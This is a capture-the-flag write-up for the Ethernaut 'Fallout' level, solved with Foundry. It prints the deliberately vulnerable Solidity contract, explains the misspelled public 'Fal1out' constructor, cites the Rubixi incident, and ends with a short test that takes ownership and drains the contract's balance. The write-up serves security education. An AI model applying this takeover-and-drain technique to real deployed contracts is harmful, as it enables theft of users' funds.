Overview
This level introduces us to the following concept(s):
- How contracts get initialized
- The role of the
constructor()
native function.
GitHub Repository available at: github.com/0xEval/ethernaut-x-foundry
Objective
To complete the challenge, we will need: to
- Claim ownership of the contract (i.e: our EoA is the
owner()
)
Contract Analysis
The contract's logic is very brief, transfers sent to the sendAllocation()
function will be recorded, and the amount (allocation
) received by the contract will be mapped per to its sender.
Ether stored in the contract can only be withdrawn by the contract's owner
, who is set during initialization.
Most notably, the "constructor" function is neither constructor()
nor Fallout()
, but instead Fal1out()
and is publicly accessible. This is where the vulnerability lies.
contract Fallout {
using SafeMath for uint256;
mapping(address => uint256) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = payable(msg.sender); // Type issues must be payable address
allocations[owner] = msg.value;
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
payable(msg.sender).transfer(address(this).balance); // Type issues must be payable address
}
function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
Prior to version 0.4.22, constructors were defined as functions with the same name as the contract. This syntax was deprecated and is not allowed anymore in version 0.5.0. Instead, the keyword constructor()
can be used (optional function) which will be executed only once at contract creation.
💡 Recommended read:
Real-World Example
While seemingly trivial, similar mistakes happened in the past and funds got stolen
The
Rubixi
(contract code) was another pyramid scheme that exhibited this kind of vulnerability. It was originally calledDynamicPyramid
, but the contract name was changed before deployment toRubixi
. The constructor's name wasn't changed, allowing any user to become the creator.
💡 Recommended read:
Attacking The Contract
Make sure to read through Part 0 for setup instructions.
Create a Fallout.t.sol
test file in the test/
directory that will contain the attack logic (level setup and submission is truncated for clarity):
function testFalloutHack() public {
// Call the public `Fal1out` function and become `owner`
falloutContract.Fal1out{value: 1 wei}();
assertEq(falloutContract.owner(), attacker);
// Collect the contract's funds
falloutContract.collectAllocations();
assertEq(address(falloutContract).balance, 0);
}
Run the attack using theforge test
subcommand: